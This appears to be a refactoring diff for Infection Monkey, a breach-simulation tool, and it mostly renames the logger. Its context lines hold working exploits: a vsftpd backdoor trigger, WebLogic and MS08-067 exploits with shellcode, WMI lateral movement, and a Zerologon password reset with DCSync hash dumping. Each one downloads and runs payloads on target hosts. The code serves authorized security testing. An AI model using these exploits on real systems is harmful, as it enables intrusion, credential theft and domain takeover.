@ -67,11 +67,11 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.send(message)
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def _exploit_host(self):
|
||||
LOG.info("Attempting to trigger the Backdoor..")
|
||||
logger.info("Attempting to trigger the Backdoor..")
|
||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||
|
@ -81,50 +81,50 @@ class VSFTPDExploiter(HostExploiter):
|
|||
time.sleep(FTP_TIME_BUFFER)
|
||||
self.socket_send(ftp_socket, PASSWORD + b"\n")
|
||||
ftp_socket.close()
|
||||
LOG.info("Backdoor Enabled, Now we can run commands")
|
||||
logger.info("Backdoor Enabled, Now we can run commands")
|
||||
else:
|
||||
LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
||||
logger.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
||||
return False
|
||||
|
||||
LOG.info("Attempting to connect to backdoor...")
|
||||
logger.info("Attempting to connect to backdoor...")
|
||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||
LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
||||
logger.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
||||
|
||||
uname_m = str.encode(UNAME_M + "\n")
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
if response:
|
||||
LOG.info("Response for uname -m: %s", response)
|
||||
logger.info("Response for uname -m: %s", response)
|
||||
if "" != response.lower().strip():
|
||||
# command execution is successful
|
||||
self.host.os["machine"] = response.lower().strip()
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
logger.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create a http server to host the monkey
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
LOG.info("Download link for monkey is %s", http_path)
|
||||
logger.info("Download link for monkey is %s", http_path)
|
||||
|
||||
# Upload the monkey to the machine
|
||||
monkey_path = dropper_target_path_linux
|
||||
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
|
||||
download_command = str.encode(str(download_command) + "\n")
|
||||
LOG.info("Download command is %s", download_command)
|
||||
logger.info("Download command is %s", download_command)
|
||||
if self.socket_send(backdoor_socket, download_command):
|
||||
LOG.info("Monkey is now Downloaded ")
|
||||
logger.info("Monkey is now Downloaded ")
|
||||
else:
|
||||
LOG.error("Failed to download monkey at %s", self.host.ip_addr)
|
||||
logger.error("Failed to download monkey at %s", self.host.ip_addr)
|
||||
return False
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
|
@ -133,7 +133,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
# Change permissions
|
||||
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
|
||||
change_permission = str.encode(str(change_permission) + "\n")
|
||||
LOG.info("change_permission command is %s", change_permission)
|
||||
logger.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
||||
|
||||
|
@ -150,11 +150,11 @@ class VSFTPDExploiter(HostExploiter):
|
|||
# Set unlimited to memory
|
||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our
|
||||
# exploit
|
||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
|
||||
run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
|
||||
run_monkey = str.encode(str(run_monkey) + "\n")
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
|
|
|
@ -4,6 +4,7 @@ from abc import abstractmethod
|
|||
from posixpath import join
|
||||
|
||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
|
@ -26,13 +27,10 @@ from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
# Command used to check if monkeys already exists
|
||||
LOOK_FOR_FILE = "ls %s"
|
||||
POWERSHELL_NOT_FOUND = "powershell is not recognized"
|
||||
# Constants used to refer to windows architectures( used in host.os['machine'])
|
||||
WIN_ARCH_32 = "32"
|
||||
WIN_ARCH_64 = "64"
|
||||
|
||||
|
||||
class WebRCE(HostExploiter):
|
||||
|
@ -116,7 +114,7 @@ class WebRCE(HostExploiter):
|
|||
and self.skip_exist
|
||||
and self.check_remote_files(self.target_url)
|
||||
):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, done" % self.host
|
||||
)
|
||||
return True
|
||||
|
@ -192,7 +190,7 @@ class WebRCE(HostExploiter):
|
|||
# Format command
|
||||
command = command % {"monkey_path": path, "http_path": http_path}
|
||||
except KeyError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Provided command is missing/bad for this type of host! "
|
||||
"Check upload_monkey function docs before using custom monkey's upload "
|
||||
"commands."
|
||||
|
@ -215,7 +213,7 @@ class WebRCE(HostExploiter):
|
|||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||
logger.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
|
@ -243,7 +241,7 @@ class WebRCE(HostExploiter):
|
|||
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
|
||||
)
|
||||
if not url_list:
|
||||
LOG.info("No attack url's were built")
|
||||
logger.info("No attack url's were built")
|
||||
return url_list
|
||||
|
||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||
|
@ -261,7 +259,7 @@ class WebRCE(HostExploiter):
|
|||
if stop_checking:
|
||||
break
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
logger.info("No vulnerable urls found, skipping.")
|
||||
|
||||
def get_host_arch(self, url):
|
||||
"""
|
||||
|
@ -276,12 +274,12 @@ class WebRCE(HostExploiter):
|
|||
try:
|
||||
arch = arch.group(1)
|
||||
except AttributeError:
|
||||
LOG.error("Looked for linux architecture but could not find it")
|
||||
logger.error("Looked for linux architecture but could not find it")
|
||||
return False
|
||||
if arch:
|
||||
return arch
|
||||
else:
|
||||
LOG.info("Could not pull machine architecture string from command's output")
|
||||
logger.info("Could not pull machine architecture string from command's output")
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
@ -301,7 +299,7 @@ class WebRCE(HostExploiter):
|
|||
if "No such file" in resp:
|
||||
return False
|
||||
else:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, done"
|
||||
% str(self.host)
|
||||
)
|
||||
|
@ -333,7 +331,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
ports = self.get_open_service_ports(ports, names)
|
||||
if not ports:
|
||||
LOG.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
logger.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
return False
|
||||
else:
|
||||
return ports
|
||||
|
@ -341,7 +339,7 @@ class WebRCE(HostExploiter):
|
|||
def set_host_arch(self, url):
|
||||
arch = self.get_host_arch(url)
|
||||
if not arch:
|
||||
LOG.error("Couldn't get host machine's architecture")
|
||||
logger.error("Couldn't get host machine's architecture")
|
||||
return False
|
||||
else:
|
||||
self.host.os["machine"] = arch
|
||||
|
@ -358,7 +356,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Command's response (same response if backup command is not needed)
|
||||
"""
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
logger.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = BITSADMIN_CMDLINE_HTTP % {
|
||||
"monkey_path": dest_path,
|
||||
"http_path": http_path,
|
||||
|
@ -375,9 +373,9 @@ class WebRCE(HostExploiter):
|
|||
Command must have "monkey_path" and "http_path" format parameters.
|
||||
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
||||
"""
|
||||
LOG.info("Trying to upload monkey to the host.")
|
||||
logger.info("Trying to upload monkey to the host.")
|
||||
if not self.host.os["type"]:
|
||||
LOG.error("Unknown target's os type. Skipping.")
|
||||
logger.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
|
@ -385,9 +383,9 @@ class WebRCE(HostExploiter):
|
|||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
logger.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
logger.info("Started http server on %s", http_path)
|
||||
# Choose command:
|
||||
if not commands:
|
||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||
|
@ -398,7 +396,7 @@ class WebRCE(HostExploiter):
|
|||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Uploading process finished")
|
||||
logger.info("Uploading process finished")
|
||||
# If response is false exploiter failed
|
||||
if resp is False:
|
||||
return resp
|
||||
|
@ -413,9 +411,9 @@ class WebRCE(HostExploiter):
|
|||
:param command: Formatted command for permission change or None
|
||||
:return: response, False if failed and True if permission change is not needed
|
||||
"""
|
||||
LOG.info("Changing monkey's permissions")
|
||||
logger.info("Changing monkey's permissions")
|
||||
if "windows" in self.host.os["type"]:
|
||||
LOG.info("Permission change not required for windows")
|
||||
logger.info("Permission change not required for windows")
|
||||
return True
|
||||
if not command:
|
||||
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||
|
@ -423,23 +421,23 @@ class WebRCE(HostExploiter):
|
|||
resp = self.exploit(url, command)
|
||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||
logger.error("Something went wrong while trying to change permission: %s" % e)
|
||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
LOG.info("Permission change finished")
|
||||
logger.info("Permission change finished")
|
||||
return resp
|
||||
# If exploiter returns command output, we can check for execution errors
|
||||
if "Operation not permitted" in resp:
|
||||
LOG.error("Missing permissions to make monkey executable")
|
||||
logger.error("Missing permissions to make monkey executable")
|
||||
return False
|
||||
elif "No such file or directory" in resp:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not change permission because monkey was not found. Check path " "parameter."
|
||||
)
|
||||
return False
|
||||
LOG.info("Permission change finished")
|
||||
logger.info("Permission change finished")
|
||||
return resp
|
||||
|
||||
def execute_remote_monkey(self, url, path, dropper=False):
|
||||
|
@ -450,7 +448,7 @@ class WebRCE(HostExploiter):
|
|||
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
|
||||
:return: Response or False if failed
|
||||
"""
|
||||
LOG.info("Trying to execute remote monkey")
|
||||
logger.info("Trying to execute remote monkey")
|
||||
# Get monkey command line
|
||||
if dropper and path:
|
||||
# If dropper is chosen we try to move monkey to default location
|
||||
|
@ -475,24 +473,24 @@ class WebRCE(HostExploiter):
|
|||
"parameters": monkey_cmd,
|
||||
}
|
||||
try:
|
||||
LOG.info("Trying to execute monkey using command: {}".format(command))
|
||||
logger.info("Trying to execute monkey using command: {}".format(command))
|
||||
resp = self.exploit(url, command)
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
LOG.info("Execution attempt successfully finished")
|
||||
logger.info("Execution attempt successfully finished")
|
||||
self.add_executed_cmd(command)
|
||||
return resp
|
||||
# If exploiter returns command output, we can check for execution errors
|
||||
if "is not recognized" in resp or "command not found" in resp:
|
||||
LOG.error("Wrong path chosen or other process already deleted monkey")
|
||||
logger.error("Wrong path chosen or other process already deleted monkey")
|
||||
return False
|
||||
elif "The system cannot execute" in resp:
|
||||
LOG.error("System could not execute monkey")
|
||||
logger.error("System could not execute monkey")
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
||||
logger.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
||||
return False
|
||||
LOG.info("Execution attempt finished")
|
||||
logger.info("Execution attempt finished")
|
||||
|
||||
self.add_executed_cmd(command)
|
||||
return resp
|
||||
|
@ -505,7 +503,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Corresponding monkey path from self.monkey_target_paths
|
||||
"""
|
||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Can't get destination path because source path %s is invalid.", url_to_monkey
|
||||
)
|
||||
return False
|
||||
|
@ -517,13 +515,13 @@ class WebRCE(HostExploiter):
|
|||
elif "windows-64" in url_to_monkey:
|
||||
return self.monkey_target_paths["win64"]
|
||||
else:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen."
|
||||
)
|
||||
return False
|
||||
except KeyError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
|
||||
"initialize "
|
||||
"custom dict of monkey's destination paths"
|
||||
|
@ -537,7 +535,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
# Determine which destination path to use
|
||||
dest_path = self.get_monkey_upload_path(src_path)
|
||||
|
@ -554,7 +552,7 @@ class WebRCE(HostExploiter):
|
|||
if not self.host.os.get("type") or (
|
||||
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
|
||||
):
|
||||
LOG.error("Target's OS was either unidentified or not supported. Aborting")
|
||||
logger.error("Target's OS was either unidentified or not supported. Aborting")
|
||||
return False
|
||||
if self.host.os["type"] == "linux":
|
||||
return self._config.dropper_target_path_linux
|
||||
|
@ -563,7 +561,7 @@ class WebRCE(HostExploiter):
|
|||
if self.host.os["machine"] == WIN_ARCH_64:
|
||||
return self._config.dropper_target_path_win_64
|
||||
except KeyError:
|
||||
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
return self._config.dropper_target_path_win_32
|
||||
|
||||
def get_target_url(self):
|
||||
|
|
|
@ -11,7 +11,7 @@ from infection_monkey.exploit.web_rce import WebRCE
|
|||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
# How long server waits for get request in seconds
|
||||
SERVER_TIMEOUT = 4
|
||||
# How long should we wait after each request in seconds
|
||||
|
@ -85,7 +85,7 @@ class WebLogic201710271(WebRCE):
|
|||
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
|
||||
)
|
||||
except Exception as e:
|
||||
LOG.error("Connection error: %s" % e)
|
||||
logger.error("Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -112,7 +112,7 @@ class WebLogic201710271(WebRCE):
|
|||
self.vulnerable_urls.extend(urls)
|
||||
self.exploit_info["vulnerable_urls"] = self.vulnerable_urls
|
||||
else:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
logger.info("No vulnerable urls found, skipping.")
|
||||
|
||||
self._stop_http_server(httpd, lock)
|
||||
|
||||
|
@ -126,7 +126,7 @@ class WebLogic201710271(WebRCE):
|
|||
# Our request will not get response thus we get ReadTimeout error
|
||||
pass
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong: %s" % e)
|
||||
logger.error("Something went wrong: %s" % e)
|
||||
return httpd.get_requests > 0
|
||||
|
||||
def _start_http_server(self):
|
||||
|
@ -234,10 +234,10 @@ class WebLogic201710271(WebRCE):
|
|||
class S(BaseHTTPRequestHandler):
|
||||
@staticmethod
|
||||
def do_GET():
|
||||
LOG.info("Server received a request from vulnerable machine")
|
||||
logger.info("Server received a request from vulnerable machine")
|
||||
self.get_requests += 1
|
||||
|
||||
LOG.info("Server waiting for exploited machine request...")
|
||||
logger.info("Server waiting for exploited machine request...")
|
||||
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
||||
httpd.daemon = True
|
||||
self.lock.release()
|
||||
|
@ -286,7 +286,7 @@ class WebLogic20192725(WebRCE):
|
|||
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
|
||||
return resp
|
||||
except Exception as e:
|
||||
LOG.error("Connection error: %s" % e)
|
||||
logger.error("Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
|
|
|
@ -24,7 +24,7 @@ from infection_monkey.network.tools import check_tcp_port
|
|||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.random_password_generator import get_random_password
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||
OBFUSCATED_SHELLCODE = (
|
||||
|
@ -140,11 +140,11 @@ class SRVSVC_Exploit(object):
|
|||
|
||||
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
|
||||
|
||||
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
|
||||
logger.debug("Initiating exploit connection (%s)", target_rpc_name)
|
||||
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
|
||||
self._trans.connect()
|
||||
|
||||
LOG.debug("Connected to %s", target_rpc_name)
|
||||
logger.debug("Connected to %s", target_rpc_name)
|
||||
|
||||
self._dce = self._trans.DCERPC_class(self._trans)
|
||||
self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0")))
|
||||
|
@ -152,8 +152,8 @@ class SRVSVC_Exploit(object):
|
|||
dce_packet = self._build_dce_packet()
|
||||
self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
|
||||
|
||||
LOG.debug("Exploit sent to %s successfully...", self._target)
|
||||
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||
logger.debug("Exploit sent to %s successfully...", self._target)
|
||||
logger.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||
|
||||
sock = socket.socket()
|
||||
sock.connect((self._target, self.get_telnet_port()))
|
||||
|
@ -220,7 +220,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
os_version = self._windows_versions.get(
|
||||
|
@ -246,15 +246,15 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
time.sleep(2)
|
||||
sock.recv(1000)
|
||||
|
||||
LOG.debug("Exploited into %r using MS08-067", self.host)
|
||||
logger.debug("Exploited into %r using MS08-067", self.host)
|
||||
exploited = True
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error exploiting victim %r: (%s)", self.host, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter MS08-067 is giving up...")
|
||||
logger.debug("Exploiter MS08-067 is giving up...")
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
|
@ -303,7 +303,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
sock.send(("start %s\r\n" % (cmdline,)).encode())
|
||||
sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
|
||||
except Exception as exc:
|
||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||
logger.debug(
|
||||
"Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc
|
||||
)
|
||||
return True
|
||||
finally:
|
||||
try:
|
||||
|
@ -311,7 +313,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
except socket.error:
|
||||
pass
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path,
|
||||
self.host,
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiT
|
|||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WmiExploiter(HostExploiter):
|
||||
|
@ -30,7 +30,7 @@ class WmiExploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
@ -43,7 +43,9 @@ class WmiExploiter(HostExploiter):
|
|||
"user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): "
|
||||
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
|
||||
)
|
||||
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
||||
logger.debug(
|
||||
("Attempting to connect %r using WMI with " % self.host) + creds_for_logging
|
||||
)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
||||
|
@ -51,23 +53,23 @@ class WmiExploiter(HostExploiter):
|
|||
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
|
||||
except AccessDeniedException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
||||
)
|
||||
continue
|
||||
except DCERPCException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
||||
)
|
||||
continue
|
||||
except socket.error:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Network error in WMI connection to %r with " % self.host) + creds_for_logging
|
||||
)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Unknown WMI connection error to %r with " % self.host)
|
||||
+ creds_for_logging
|
||||
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
|
||||
|
@ -86,7 +88,7 @@ class WmiExploiter(HostExploiter):
|
|||
if process_list:
|
||||
wmi_connection.close()
|
||||
|
||||
LOG.debug("Skipping %r - already infected", self.host)
|
||||
logger.debug("Skipping %r - already infected", self.host)
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
|
@ -127,7 +129,7 @@ class WmiExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
if (0 != result.ProcessId) and (not result.ReturnValue):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
|
||||
remote_full_path,
|
||||
self.host,
|
||||
|
@ -138,7 +140,7 @@ class WmiExploiter(HostExploiter):
|
|||
self.add_vuln_port(port="unknown")
|
||||
success = True
|
||||
else:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
|
||||
"cmdline=%r)",
|
||||
remote_full_path,
|
||||
|
|
|
@ -23,7 +23,7 @@ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_deta
|
|||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
|
@ -50,16 +50,16 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
can_exploit, rpc_con = is_exploitable(self)
|
||||
if can_exploit:
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
logger.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
# Start exploiting attempts.
|
||||
LOG.debug("Attempting exploit.")
|
||||
logger.debug("Attempting exploit.")
|
||||
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
||||
|
||||
rpc_con.disconnect()
|
||||
|
||||
else:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Exploit not attempted. Target is most likely patched, or an error was "
|
||||
"encountered."
|
||||
)
|
||||
|
@ -70,12 +70,12 @@ class ZerologonExploiter(HostExploiter):
|
|||
if self.restore_password():
|
||||
self.exploit_info["password_restored"] = True
|
||||
self.store_extracted_creds_for_exploitation()
|
||||
LOG.info("System exploited and password restored successfully.")
|
||||
logger.info("System exploited and password restored successfully.")
|
||||
else:
|
||||
self.exploit_info["password_restored"] = False
|
||||
LOG.info("System exploited but couldn't restore password!")
|
||||
logger.info("System exploited but couldn't restore password!")
|
||||
else:
|
||||
LOG.info("System was not exploited.")
|
||||
logger.info("System was not exploited.")
|
||||
|
||||
return _exploited
|
||||
|
||||
|
@ -105,9 +105,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
logger.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
logger.info(f"Unexpected error: {e}")
|
||||
|
||||
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
|
@ -133,11 +133,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
if exploit_attempt_result["ErrorCode"] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
logger.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
|
||||
f"went wrong."
|
||||
)
|
||||
|
@ -146,19 +146,19 @@ class ZerologonExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
def restore_password(self) -> bool:
|
||||
LOG.info("Restoring original password...")
|
||||
logger.info("Restoring original password...")
|
||||
|
||||
try:
|
||||
rpc_con = None
|
||||
|
||||
# DCSync to get usernames and their passwords' hashes.
|
||||
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||
logger.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||
user_creds = self.get_all_user_creds()
|
||||
if not user_creds:
|
||||
raise Exception("Couldn't extract any usernames and/or their passwords' hashes.")
|
||||
|
||||
# Use above extracted credentials to get original DC password's hashes.
|
||||
LOG.debug("Getting original DC password's NT hash.")
|
||||
logger.debug("Getting original DC password's NT hash.")
|
||||
original_pwd_nthash = None
|
||||
for user_details in user_creds:
|
||||
username = user_details[0]
|
||||
|
@ -171,7 +171,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
if original_pwd_nthash:
|
||||
break
|
||||
except Exception as e:
|
||||
LOG.info(f"Credentials didn't work. Exception: {str(e)}")
|
||||
logger.info(f"Credentials didn't work. Exception: {str(e)}")
|
||||
|
||||
if not original_pwd_nthash:
|
||||
